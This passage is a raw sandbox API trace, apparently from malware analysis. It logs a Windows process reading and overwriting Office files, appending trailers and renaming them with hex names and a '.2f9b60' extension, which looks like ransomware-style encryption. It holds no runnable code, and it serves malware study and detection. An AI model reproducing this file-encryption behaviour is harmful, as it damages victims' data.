(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422c1180) returned 1 [0161.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0161.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0161.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42059f60 [0161.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0161.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a38c0 [0161.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a38c0) returned 1 [0161.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42059ba0 [0161.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a38c0 [0161.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a38f0 [0161.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a38f0) returned 1 [0161.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0161.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x128) returned 0x13b4f0 [0161.152] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.152] WriteFile (hFile=0x1bc4, lpBuffer=0x13b4f0, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3a98f9d0, lpOverlapped=0x0) [0200.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd20 [0200.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd20) returned 1 [0200.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7aa260 [0200.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd20 [0200.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcf0 [0200.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcf0) returned 1 [0200.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x420614b0 [0200.226] sprintf (in: _Dest=0x420614b0, _Format="%c%c" | out: _Dest="96") returned 2 [0200.226] sprintf (in: _Dest=0x420614b2, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.226] sprintf (in: _Dest=0x420614b4, _Format="%c%c" | out: _Dest="50") returned 2 [0200.226] sprintf (in: _Dest=0x420614b6, _Format="%c%c" | out: _Dest="d0") returned 2 [0200.226] sprintf (in: _Dest=0x420614b8, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.226] sprintf (in: _Dest=0x420614ba, _Format="%c%c" | out: _Dest="6f") returned 2 [0200.226] sprintf (in: _Dest=0x420614bc, _Format="%c%c" | out: _Dest="34") returned 2 [0200.226] sprintf (in: _Dest=0x420614be, _Format="%c%c" | out: _Dest="00") returned 2 [0200.226] sprintf (in: _Dest=0x420614c0, _Format="%c%c" | out: _Dest="12") returned 2 [0200.226] sprintf (in: _Dest=0x420614c2, _Format="%c%c" | out: _Dest="03") returned 2 [0200.227] sprintf (in: _Dest=0x420614c4, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.227] sprintf (in: _Dest=0x420614c6, _Format="%c%c" | out: _Dest="90") returned 2 [0200.227] sprintf (in: _Dest=0x420614c8, _Format="%c%c" | out: _Dest="38") returned 2 [0200.227] sprintf (in: _Dest=0x420614ca, _Format="%c%c" | out: _Dest="98") returned 2 [0200.227] sprintf (in: _Dest=0x420614cc, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.227] sprintf (in: _Dest=0x420614ce, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.227] sprintf (in: _Dest=0x420614d0, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.227] sprintf (in: _Dest=0x420614d2, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.227] sprintf (in: _Dest=0x420614d4, _Format="%c%c" | out: _Dest="52") returned 2 [0200.227] sprintf (in: _Dest=0x420614d6, _Format="%c%c" | out: _Dest="10") returned 2 [0200.227] sprintf (in: _Dest=0x420614d8, _Format="%c%c" | out: _Dest="f8") returned 2 [0200.227] sprintf (in: _Dest=0x420614da, _Format="%c%c" | out: _Dest="50") returned 2 [0200.227] sprintf (in: _Dest=0x420614dc, _Format="%c%c" | out: _Dest="49") returned 2 [0200.227] sprintf (in: _Dest=0x420614de, _Format="%c%c" | out: _Dest="47") returned 2 [0200.227] sprintf (in: _Dest=0x420614e0, _Format="%c%c" | out: _Dest="29") returned 2 [0200.227] sprintf (in: _Dest=0x420614e2, _Format="%c%c" | out: _Dest="22") returned 2 [0200.227] sprintf (in: _Dest=0x420614e4, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.227] sprintf (in: _Dest=0x420614e6, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.227] sprintf (in: _Dest=0x420614e8, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.227] sprintf (in: _Dest=0x420614ea, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.227] sprintf (in: _Dest=0x420614ec, _Format="%c%c" | out: _Dest="83") returned 2 [0200.227] sprintf (in: _Dest=0x420614ee, _Format="%c%c" | out: _Dest="66") returned 2 [0200.228] sprintf (in: _Dest=0x420614f0, _Format="%c%c" | out: _Dest="69") returned 2 [0200.228] sprintf (in: _Dest=0x420614f2, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.228] sprintf (in: _Dest=0x420614f4, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.228] sprintf (in: _Dest=0x420614f6, _Format="%c%c" | out: _Dest="25") returned 2 [0200.228] sprintf (in: _Dest=0x420614f8, _Format="%c%c" | out: _Dest="68") returned 2 [0200.228] sprintf (in: _Dest=0x420614fa, _Format="%c%c" | out: _Dest="05") returned 2 [0200.228] sprintf (in: _Dest=0x420614fc, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.228] sprintf (in: _Dest=0x420614fe, _Format="%c%c" | out: _Dest="47") returned 2 [0200.228] sprintf (in: _Dest=0x42061500, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.228] sprintf (in: _Dest=0x42061502, _Format="%c%c" | out: _Dest="bd") returned 2 [0200.228] sprintf (in: _Dest=0x42061504, _Format="%c%c" | out: _Dest="71") returned 2 [0200.228] sprintf (in: _Dest=0x42061506, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.228] sprintf (in: _Dest=0x42061508, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.228] sprintf (in: _Dest=0x4206150a, _Format="%c%c" | out: _Dest="da") returned 2 [0200.228] sprintf (in: _Dest=0x4206150c, _Format="%c%c" | out: _Dest="ef") returned 2 [0200.228] sprintf (in: _Dest=0x4206150e, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.228] sprintf (in: _Dest=0x42061510, _Format="%c%c" | out: _Dest="c2") returned 2 [0200.228] sprintf (in: _Dest=0x42061512, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.229] sprintf (in: _Dest=0x42061514, _Format="%c%c" | out: _Dest="47") returned 2 [0200.229] sprintf (in: _Dest=0x42061516, _Format="%c%c" | out: _Dest="48") returned 2 [0200.229] sprintf (in: _Dest=0x42061518, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.229] sprintf (in: _Dest=0x4206151a, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.229] RtlInitAnsiString (in: DestinationString=0x3a98fa48, SourceString="968b50d0e66f34001203d69038988fd45dad5210f85049472922e67b6bb28366695ce2256805f4471abd710c5cdaefb7c2c74748bac3" | out: DestinationString="968b50d0e66f34001203d69038988fd45dad5210f85049472922e67b6bb28366695ce2256805f4471abd710c5cdaefb7c2c74748bac3") [0200.229] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a98fa18, SourceString="968b50d0e66f34001203d69038988fd45dad5210f85049472922e67b6bb28366695ce2256805f4471abd710c5cdaefb7c2c74748bac3", AllocateDestinationString=1 | out: DestinationString="968b50d0e66f34001203d69038988fd45dad5210f85049472922e67b6bb28366695ce2256805f4471abd710c5cdaefb7c2c74748bac3") returned 0x0 [0200.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b798f80 [0200.230] wcscat (in: _Dest=0x431f4090, _Source="968b50d0e66f34001203d690389" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\968b50d0e66f34001203d690389") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\968b50d0e66f34001203d690389" [0200.230] wcscat (in: _Dest=0x431f4090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\968b50d0e66f34001203d690389.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\968b50d0e66f34001203d690389.2f9b60" [0200.230] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\968b50d0e66f34001203d690389.2f9b60", NtPathName=0x3a98f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\968b50d0e66f34001203d690389.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205fc50 Thread: id = 2165 os_tid = 0x1564 [0140.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn")) returned 0x20 [0140.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN", dwFileAttributes=0x20) returned 1 [0140.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f9c [0144.761] GetFileSizeEx (in: hFile=0x1f9c, lpFileSize=0x3abcf740 | out: lpFileSize=0x3abcf740*=19838) returned 1 [0144.761] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x4d7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.761] ReadFile (in: hFile=0x1f9c, lpBuffer=0x3abcf6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3abcf708, lpOverlapped=0x0 | out: lpBuffer=0x3abcf6c0*, lpNumberOfBytesRead=0x3abcf708*=0x4, lpOverlapped=0x0) returned 1 [0144.801] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0144.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee60 [0144.801] NtQuerySystemTime (in: CurrentTime=0x3abcf600 | out: CurrentTime=0x3abcf600*=132462177500482000) returned 0x0 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x6d95d45e [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x75f7af01 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x665f7766 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x97b5772 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x5553d9be [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x888b993 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x6d7d4698 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x6c2d54a7 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x31d03c42 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x786a2e90 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x1f21dbb0 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x1d8bb42c [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x53f320be [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x44aaf101 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x64617058 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x4bb7f650 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x3ed04675 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x6bff1783 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x10821b6b [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x44c51f12 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x1011ddf0 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x1a650240 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x14e933e3 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x78ae39fe [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x1c94c054 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x59694c6a [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x3fb57548 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x64d00bf6 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x4d796f5a [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x1960093c [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x2944bb06 [0144.802] RtlRandomEx (in: Seed=0x3abcf5f0 | out: Seed=0x3abcf5f0) returned 0x7cb1110d [0144.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feec0 [0144.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee90 [0144.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee60) returned 1 [0144.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0144.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231f0f0 [0144.812] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.812] ReadFile (in: hFile=0x1f9c, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3abcf660, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x3abcf660*=0x3c00, lpOverlapped=0x0) returned 1 [0144.845] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0144.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b9960 [0144.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.847] WriteFile (in: hFile=0x1f9c, lpBuffer=0x422b9960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3abcf660, lpOverlapped=0x0 | out: lpBuffer=0x422b9960*, lpNumberOfBytesWritten=0x3abcf660*=0x3c00, lpOverlapped=0x0) returned 1 [0144.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b9960) returned 1 [0144.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231f0f0) returned 1 [0144.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x42059ba0 [0144.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0144.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x42059100 [0144.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec50 [0144.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec50) returned 1 [0144.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0144.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12c) returned 0x188850 [0144.869] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.869] WriteFile (in: hFile=0x1f9c, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x3abcf710, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x3abcf710*=0x12c, lpOverlapped=0x0) returned 1 [0144.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0144.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fece0 [0144.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fece0) returned 1 [0144.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x420590b0 [0144.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fece0 [0144.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febf0 [0144.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febf0) returned 1 [0144.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0144.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x42061830 [0144.889] sprintf (in: _Dest=0x42061830, _Format="%c%c" | out: _Dest="4f") returned 2 [0144.889] sprintf (in: _Dest=0x42061832, _Format="%c%c" | out: _Dest="e5") returned 2 [0144.889] sprintf (in: _Dest=0x42061834, _Format="%c%c" | out: _Dest="ab") returned 2 [0144.889] sprintf (in: _Dest=0x42061836, _Format="%c%c" | out: _Dest="f7") returned 2 [0144.889] sprintf (in: _Dest=0x42061838, _Format="%c%c" | out: _Dest="a7") returned 2 [0144.889] sprintf (in: _Dest=0x4206183a, _Format="%c%c" | out: _Dest="9e") returned 2 [0144.889] sprintf (in: _Dest=0x4206183c, _Format="%c%c" | out: _Dest="61") returned 2 [0144.889] sprintf (in: _Dest=0x4206183e, _Format="%c%c" | out: _Dest="6f") returned 2 [0144.889] sprintf (in: _Dest=0x42061840, _Format="%c%c" | out: _Dest="65") returned 2 [0144.889] sprintf (in: _Dest=0x42061842, _Format="%c%c" | out: _Dest="2f") returned 2 [0144.889] sprintf (in: _Dest=0x42061844, _Format="%c%c" | out: _Dest="0f") returned 2 [0144.889] sprintf (in: _Dest=0x42061846, _Format="%c%c" | out: _Dest="89") returned 2 [0144.889] sprintf (in: _Dest=0x42061848, _Format="%c%c" | out: _Dest="7e") returned 2 [0144.889] sprintf (in: _Dest=0x4206184a, _Format="%c%c" | out: _Dest="98") returned 2 [0144.889] sprintf (in: _Dest=0x4206184c, _Format="%c%c" | out: _Dest="e8") returned 2 [0144.889] sprintf (in: _Dest=0x4206184e, _Format="%c%c" | out: _Dest="1f") returned 2 [0144.889] sprintf (in: _Dest=0x42061850, _Format="%c%c" | out: _Dest="58") returned 2 [0144.890] sprintf (in: _Dest=0x42061852, _Format="%c%c" | out: _Dest="a2") returned 2 [0144.890] sprintf (in: _Dest=0x42061854, _Format="%c%c" | out: _Dest="fb") returned 2 [0144.890] sprintf (in: _Dest=0x42061856, _Format="%c%c" | out: _Dest="5b") returned 2 [0144.890] sprintf (in: _Dest=0x42061858, _Format="%c%c" | out: _Dest="bd") returned 2 [0144.890] sprintf (in: _Dest=0x4206185a, _Format="%c%c" | out: _Dest="b9") returned 2 [0144.890] sprintf (in: _Dest=0x4206185c, _Format="%c%c" | out: _Dest="9e") returned 2 [0144.890] sprintf (in: _Dest=0x4206185e, _Format="%c%c" | out: _Dest="22") returned 2 [0144.890] sprintf (in: _Dest=0x42061860, _Format="%c%c" | out: _Dest="00") returned 2 [0144.890] sprintf (in: _Dest=0x42061862, _Format="%c%c" | out: _Dest="04") returned 2 [0144.890] sprintf (in: _Dest=0x42061864, _Format="%c%c" | out: _Dest="ce") returned 2 [0144.890] sprintf (in: _Dest=0x42061866, _Format="%c%c" | out: _Dest="bb") returned 2 [0144.890] sprintf (in: _Dest=0x42061868, _Format="%c%c" | out: _Dest="11") returned 2 [0144.890] sprintf (in: _Dest=0x4206186a, _Format="%c%c" | out: _Dest="47") returned 2 [0144.890] sprintf (in: _Dest=0x4206186c, _Format="%c%c" | out: _Dest="a9") returned 2 [0144.890] sprintf (in: _Dest=0x4206186e, _Format="%c%c" | out: _Dest="9b") returned 2 [0144.890] sprintf (in: _Dest=0x42061870, _Format="%c%c" | out: _Dest="99") returned 2 [0144.890] sprintf (in: _Dest=0x42061872, _Format="%c%c" | out: _Dest="ba") returned 2 [0144.890] sprintf (in: _Dest=0x42061874, _Format="%c%c" | out: _Dest="25") returned 2 [0144.890] sprintf (in: _Dest=0x42061876, _Format="%c%c" | out: _Dest="24") returned 2 [0144.890] sprintf (in: _Dest=0x42061878, _Format="%c%c" | out: _Dest="14") returned 2 [0144.890] sprintf (in: _Dest=0x4206187a, _Format="%c%c" | out: _Dest="35") returned 2 [0144.890] sprintf (in: _Dest=0x4206187c, _Format="%c%c" | out: _Dest="89") returned 2 [0144.890] sprintf (in: _Dest=0x4206187e, _Format="%c%c" | out: _Dest="e5") returned 2 [0144.890] sprintf (in: _Dest=0x42061880, _Format="%c%c" | out: _Dest="2a") returned 2 [0144.890] sprintf (in: _Dest=0x42061882, _Format="%c%c" | out: _Dest="9a") returned 2 [0144.891] sprintf (in: _Dest=0x42061884, _Format="%c%c" | out: _Dest="2d") returned 2 [0144.891] sprintf (in: _Dest=0x42061886, _Format="%c%c" | out: _Dest="bb") returned 2 [0144.891] sprintf (in: _Dest=0x42061888, _Format="%c%c" | out: _Dest="c1") returned 2 [0144.891] sprintf (in: _Dest=0x4206188a, _Format="%c%c" | out: _Dest="59") returned 2 [0144.891] sprintf (in: _Dest=0x4206188c, _Format="%c%c" | out: _Dest="0f") returned 2 [0144.891] sprintf (in: _Dest=0x4206188e, _Format="%c%c" | out: _Dest="d8") returned 2 [0144.891] sprintf (in: _Dest=0x42061890, _Format="%c%c" | out: _Dest="64") returned 2 [0144.891] sprintf (in: _Dest=0x42061892, _Format="%c%c" | out: _Dest="a5") returned 2 [0144.891] sprintf (in: _Dest=0x42061894, _Format="%c%c" | out: _Dest="2f") returned 2 [0144.891] sprintf (in: _Dest=0x42061896, _Format="%c%c" | out: _Dest="93") returned 2 [0144.891] sprintf (in: _Dest=0x42061898, _Format="%c%c" | out: _Dest="97") returned 2 [0144.891] sprintf (in: _Dest=0x4206189a, _Format="%c%c" | out: _Dest="ee") returned 2 [0144.891] sprintf (in: _Dest=0x4206189c, _Format="%c%c" | out: _Dest="fc") returned 2 [0144.891] sprintf (in: _Dest=0x4206189e, _Format="%c%c" | out: _Dest="04") returned 2 [0144.891] sprintf (in: _Dest=0x420618a0, _Format="%c%c" | out: _Dest="e5") returned 2 [0144.891] sprintf (in: _Dest=0x420618a2, _Format="%c%c" | out: _Dest="9a") returned 2 [0144.891] RtlInitAnsiString (in: DestinationString=0x3abcf788, SourceString="4fe5abf7a79e616f652f0f897e98e81f58a2fb5bbdb99e220004cebb1147a99b99ba2524143589e52a9a2dbbc1590fd864a52f9397eefc04e59a" | out: DestinationString="4fe5abf7a79e616f652f0f897e98e81f58a2fb5bbdb99e220004cebb1147a99b99ba2524143589e52a9a2dbbc1590fd864a52f9397eefc04e59a") [0144.891] RtlAnsiStringToUnicodeString (in: DestinationString=0x3abcf758, SourceString="4fe5abf7a79e616f652f0f897e98e81f58a2fb5bbdb99e220004cebb1147a99b99ba2524143589e52a9a2dbbc1590fd864a52f9397eefc04e59a", AllocateDestinationString=1 | out: DestinationString="4fe5abf7a79e616f652f0f897e98e81f58a2fb5bbdb99e220004cebb1147a99b99ba2524143589e52a9a2dbbc1590fd864a52f9397eefc04e59a") returned 0x0 [0144.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e580 [0144.892] RtlFreeAnsiString (AnsiString="4") [0144.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0144.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fece0) returned 1 [0144.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0144.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0144.893] 